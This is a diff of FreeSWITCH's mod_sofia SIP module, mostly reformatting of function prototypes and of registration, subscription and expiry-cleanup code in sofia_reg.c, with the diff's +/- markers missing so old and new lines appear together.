@@ -777,21 +784,19 @@ void sofia_reg_handle_sip_r_challenge(int status,
nua_handle_t *nh, sofia_private_t *sofia_private,
switch_core_session_t *session, sofia_gateway_t *gateway, sip_t const *sip, tagi_t tags[]);
void sofia_reg_handle_sip_r_register(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_handle_sip_i_options(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_i_message(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_r_subscribe(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_i_subscribe(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[]);
void sofia_handle_sip_i_options(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private,
sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[]);
void sofia_presence_handle_sip_i_message(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_r_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_presence_handle_sip_i_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic);
void sofia_glue_actually_execute_sql(sofia_profile_t *profile, char *sql, switch_mutex_t *mutex);
@@ -801,13 +806,14 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot);
void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now);
void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now);
void sofia_reg_unregister(sofia_profile_t *profile);
switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool);
switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
const char *sourceip, switch_memory_pool_t *pool);
void sofia_glue_pass_sdp(private_object_t *tech_pvt, char *sdp);
int sofia_glue_get_user_host(char *in, char **user, char **host);
switch_call_cause_t sofia_glue_sip_cause_to_freeswitch(int status);
void sofia_glue_do_xfer_invite(switch_core_session_t *session);
uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
sofia_regtype_t regtype, char *key, uint32_t keylen, switch_event_t **v_event, const char *is_nat);
extern switch_endpoint_interface_t *sofia_endpoint_interface;
void sofia_presence_set_chat_hash(private_object_t *tech_pvt, sip_t const *sip);
@@ -816,11 +822,9 @@ char *sofia_glue_get_url_from_contact(char *buf, uint8_t to_dup);
void sofia_presence_set_hash_key(char *hash_key, int32_t len, sip_t const *sip);
void sofia_glue_sql_close(sofia_profile_t *profile, time_t prune);
int sofia_glue_init_sql(sofia_profile_t *profile);
char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only, const char *params);
switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile,
switch_mutex_t *mutex,
char *sql,
switch_core_db_callback_func_t callback,
char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
const char *params);
switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
void *pdata);
char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len);
void sofia_glue_check_video_codecs(private_object_t *tech_pvt);
@@ -884,14 +888,15 @@ sofia_transport_t sofia_glue_url2transport(const url_t *url);
sofia_transport_t sofia_glue_str2transport(const char *str);
const char *sofia_glue_transport2str(const sofia_transport_t tp);
char * sofia_glue_find_parameter(const char *str, const char *param);
char *sofia_glue_find_parameter(const char *str, const char *param);
char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
char *sofia_glue_strip_uri(const char *str);
int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
int sofia_glue_transport_has_tls(const sofia_transport_t tp);
const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type,
switch_rtp_crypto_direction_t direction);
void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt);
switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt);
void sofia_presence_event_thread_start(void);
@@ -901,10 +906,11 @@ switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int
const char *sofia_glue_strip_proto(const char *uri);
switch_status_t reconfig_sofia(sofia_profile_t *profile);
void sofia_glue_del_gateway(sofia_gateway_t *gp);
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
const char *network_ip);
void sofia_glue_restart_all_profiles(void);
void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
const char * sofia_state_string(int state);
const char *sofia_state_string(int state);
switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
@@ -918,7 +924,8 @@ void sofia_sla_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_ha
void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
void sofia_sla_handle_sip_r_subscribe(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[]);
void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
/*
@@ -944,12 +951,16 @@ sofia_cid_type_t sofia_cid_name2type(const char *name);
void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
sofia_destination_t* sofia_glue_get_destination(char *data);
sofia_destination_t *sofia_glue_get_destination(char *data);
void sofia_glue_free_destination(sofia_destination_t *dst);
switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip);
switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
const char *body, const char *o_contact, const char *network_ip);
char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix);
void sofia_glue_set_extra_headers(switch_channel_t *channel, sip_t const *sip, const char *prefix);
void sofia_info_send_sipfrag(switch_core_session_t *aleg, switch_core_session_t *bleg);
void sofia_update_callee_id(switch_core_session_t *session, sofia_profile_t *profile, sip_t const *sip, switch_bool_t send);
void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number);
int sofia_sla_supported(sip_t const *sip);
void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force);
void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session);
int sofia_glue_recover(switch_bool_t flush);
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+160 -197
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -58,7 +58,7 @@ static void sofia_reg_new_handle(sofia_gateway_t *gateway_ptr, int attach)
switch_assert(gateway_ptr->sofia_private);
}
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
gateway_ptr->sofia_private->gateway = gateway_ptr;
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
}
@@ -74,26 +74,24 @@ static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr)
}
return;
}
/*
if (!gateway_ptr->nh) {
sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
}
*/
if (!gateway_ptr->nh) {
sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
}
*/
if (gateway_ptr->nh) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UN-Registering %s\n", gateway_ptr->name);
nua_unregister(gateway_ptr->nh,
NUTAG_URL(gateway_ptr->register_url),
NUTAG_REGISTRAR(gateway_ptr->register_proxy),
TAG_END());
nua_unregister(gateway_ptr->nh, NUTAG_URL(gateway_ptr->register_url), NUTAG_REGISTRAR(gateway_ptr->register_proxy), TAG_END());
}
}
static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase) {
static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway, int status, const char *phrase)
{
switch_event_t *s_event;
if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Gateway", gateway->name);
@@ -132,7 +130,7 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
* header (which we control in the outgoing subscription request)
*/
sofia_gateway_t *gateway_ptr;
for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
sofia_gateway_subscription_t *gw_sub_ptr;
@@ -140,7 +138,7 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
int ss_state = nua_callstate_authenticating;
sub_state_t ostate = gw_sub_ptr->state;
char *user_via = NULL;
if (!now) {
gw_sub_ptr->state = ostate = SUB_STATE_UNSUBED;
gw_sub_ptr->expires_str = "0";
@@ -167,38 +165,27 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
SIPTAG_EVENT_STR(gw_sub_ptr->event),
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
SIPTAG_TO_STR(gateway_ptr->register_from),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
TAG_NULL());
SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), TAG_NULL());
break;
case SUB_STATE_UNSUBED:
gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
NUTAG_URL(gateway_ptr->register_proxy),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->register_to),
NUTAG_CALLSTATE_REF(ss_state),
SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
switch_assert(gateway_ptr->sofia_private);
memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
gateway_ptr->sofia_private->gateway = gateway_ptr;
nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
if (now) {
nua_subscribe(gateway_ptr->sub_nh,
NUTAG_URL(gateway_ptr->register_url),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_EVENT_STR(gw_sub_ptr->event),
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
SIPTAG_TO_STR(gateway_ptr->register_from),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
nua_subscribe(gateway_ptr->sub_nh, NUTAG_URL(gateway_ptr->register_url), TAG_IF(user_via, SIPTAG_VIA_STR(user_via)), SIPTAG_EVENT_STR(gw_sub_ptr->event), SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type), SIPTAG_TO_STR(gateway_ptr->register_from), SIPTAG_FROM_STR(gateway_ptr->register_from), SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), // sofia stack bases its auto-refresh stuff on this
TAG_NULL());
gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
} else {
@@ -209,13 +196,11 @@ void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now)
SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_TO_STR(gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
TAG_NULL());
SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str), TAG_NULL());
}
gw_sub_ptr->state = SUB_STATE_TRYING;
break;
case SUB_STATE_FAILED:
case SUB_STATE_TRYING:
if (gw_sub_ptr->retry && now >= gw_sub_ptr->retry) {
@@ -294,13 +279,11 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
nua_handle_bind(nh, pvt);
gateway_ptr->pinging = 1;
nua_options(nh,
nua_options(nh,
TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
SIPTAG_FROM_STR(gateway_ptr->register_from),
TAG_END());
SIPTAG_CONTACT_STR(gateway_ptr->register_contact), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
switch_safe_free(user_via);
user_via = NULL;
@@ -336,15 +319,16 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
case REG_STATE_UNREGED:
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
gateway_ptr->retry = 0;
if (!gateway_ptr->nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
if (!gateway_ptr->nh)
sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
if (now) {
nua_register(gateway_ptr->nh,
NUTAG_URL(gateway_ptr->register_url),
@@ -352,7 +336,7 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
SIPTAG_TO_STR(gateway_ptr->distinct_to ? gateway_ptr->register_to : gateway_ptr->register_from),
SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_FROM_STR(gateway_ptr->register_from),
SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
NUTAG_REGISTRAR(gateway_ptr->register_proxy),
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
@@ -368,7 +352,7 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
}
gateway_ptr->retry = now + gateway_ptr->retry_seconds;
gateway_ptr->state = REG_STATE_TRYING;
gateway_ptr->state = REG_STATE_TRYING;
switch_safe_free(user_via);
user_via = NULL;
break;
@@ -379,16 +363,16 @@ void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now)
if (gateway_ptr->failure_status == 503) {
sec = gateway_ptr->retry_seconds;
} else{
} else {
sec = gateway_ptr->retry_seconds * (gateway_ptr->failures + 1);
}
gateway_ptr->retry = switch_epoch_time_now(NULL) + sec;
gateway_ptr->status = SOFIA_GATEWAY_DOWN;
gateway_ptr->state = REG_STATE_FAIL_WAIT;
gateway_ptr->failure_status = 0;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n",
gateway_ptr->name, sec);
}
@@ -436,12 +420,10 @@ int sofia_reg_nat_callback(void *pArg, int argc, char **argv, char **columnNames
dst = sofia_glue_get_destination(argv[3]);
switch_assert(dst);
nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url),
TAG_END());
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
nua_options(nh,
TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)),
TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
TAG_END());
nua_options(nh, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)), TAG_END());
sofia_glue_free_destination(dst);
@@ -462,7 +444,8 @@ int sofia_sub_del_callback(void *pArg, int argc, char **argv, char **columnNames
return 0;
}
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
const char *network_ip)
{
const char *event = "check-sync";
const char *contenttype = "application/simple-message-summary";
@@ -487,7 +470,7 @@ int sofia_sla_dialog_del_callback(void *pArg, int argc, char **argv, char **colu
if ((nh = nua_handle_by_call_id(profile->nua, argv[0]))) {
nua_handle_destroy(nh);
}
return 0;
}
@@ -495,7 +478,7 @@ int sofia_reg_del_callback(void *pArg, int argc, char **argv, char **columnNames
{
switch_event_t *s_event;
sofia_profile_t *profile = (sofia_profile_t *) pArg;
if (argc > 12 && atoi(argv[12]) == 1) {
sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
}
@@ -561,18 +544,16 @@ void sofia_reg_expire_call_id(sofia_profile_t *profile, const char *call_id, int
}
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,rpid,expires"
",user_agent,server_user,server_host,profile_name,network_ip"
",%d from sip_registrations where call_id='%q' %s",
reboot, call_id, sqlextra);
",user_agent,server_user,server_host,profile_name,network_ip"
",%d from sip_registrations where call_id='%q' %s", reboot, call_id, sqlextra);
switch_safe_free(sqlextra);
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
switch_mutex_unlock(profile->ireg_mutex);
switch_safe_free(sql);
sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')",
call_id, user, host);
sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')", call_id, user, host);
sofia_glue_execute_sql(profile, &sql, SWITCH_FALSE);
switch_safe_free(sql);
@@ -592,13 +573,12 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
",%d from sip_registrations where expires > 0 and expires <= %ld", reboot, (long) now);
} else {
switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
",user_agent,server_user,server_host,profile_name,network_ip"
",%d from sip_registrations where expires > 0", reboot);
",user_agent,server_user,server_host,profile_name,network_ip" ",%d from sip_registrations where expires > 0", reboot);
}
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
if (now) {
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -610,11 +590,10 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
if (now) {
switch_snprintf(sql, sizeof(sql), "select call_id from sip_shared_appearance_dialogs where hostname='%s' "
"and profile_name='%s' and expires <= %ld",
mod_sofia_globals.hostname, profile->name, (long) now);
"and profile_name='%s' and expires <= %ld", mod_sofia_globals.hostname, profile->name, (long) now);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sla_dialog_del_callback, profile);
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
mod_sofia_globals.hostname, (long) now);
@@ -623,7 +602,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
if (now) {
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -632,7 +611,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
sofia_glue_actually_execute_sql(profile, sql, NULL);
if (now) {
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
@@ -643,17 +622,17 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
if (now) {
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'",
switch_snprintf(sql, sizeof(sql),
"select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'", (long) now,
mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
}
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sub_del_callback, profile);
if (now) {
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
@@ -663,7 +642,7 @@ void sofia_reg_check_expire(sofia_profile_t *profile, time_t now, int reboot)
if (now) {
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
(long) now, mod_sofia_globals.hostname);
} else {
switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
@@ -699,8 +678,8 @@ char *sofia_reg_find_reg_url(sofia_profile_t *profile, const char *user, const c
cbt.len = len;
if (host) {
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')"
, user, host, host);
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')",
user, host, host);
} else {
switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s'", user);
}
@@ -727,8 +706,8 @@ void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t
switch_uuid_format(uuid_str, &uuid);
sql = switch_mprintf("insert into sip_authentication (nonce,expires,profile_name,hostname, last_nc) "
"values('%q', %ld, '%q', '%q', 0)", uuid_str,
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
"values('%q', %ld, '%q', '%q', 0)", uuid_str,
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
profile->name, mod_sofia_globals.hostname);
switch_assert(sql != NULL);
sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
@@ -791,7 +770,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
/* all callers must confirm that sip, sip->sip_request and sip->sip_contact are not NULL */
switch_assert(sip != NULL && sip->sip_contact != NULL && sip->sip_request != NULL);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
snprintf(network_port_c, sizeof(network_port_c), "%d", network_port);
@@ -807,14 +786,16 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
from_user = from->a_url->url_user;
from_host = from->a_url->url_host;
}
if (to) {
to_user = to->a_url->url_user;
to_host = to->a_url->url_host;
}
if (!to_user) to_user = from_user;
if (!to_host) to_host = from_host;
if (!to_user)
to_user = from_user;
if (!to_host)
to_host = from_host;
if (!to_user || !to_host) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not do authorization without a complete header\n");
@@ -839,18 +820,18 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
if (switch_stristr("transport=tls", sip->sip_contact->m_url->url_params)) {
is_tls += 1;
}
if (sip->sip_contact->m_url->url_type == url_sips) {
proto = "sips";
is_tls += 2;
}
if (switch_stristr("transport=tcp", sip->sip_contact->m_url->url_params)) {
is_tcp = 1;
}
display = contact->m_display;
if (is_nat) {
if (is_tls) {
reg_desc = "Registered(TLS-NAT)";
@@ -890,7 +871,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
} else if (is_nat) {
char my_contact_str[1024];
if (sip->sip_contact->m_url->url_params) {
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
contact->m_url->url_user, url_ip, network_port, sip->sip_contact->m_url->url_params);
} else {
switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
@@ -914,7 +895,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
if (contact->m_url->url_params) {
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s;%s%s%s%s>",
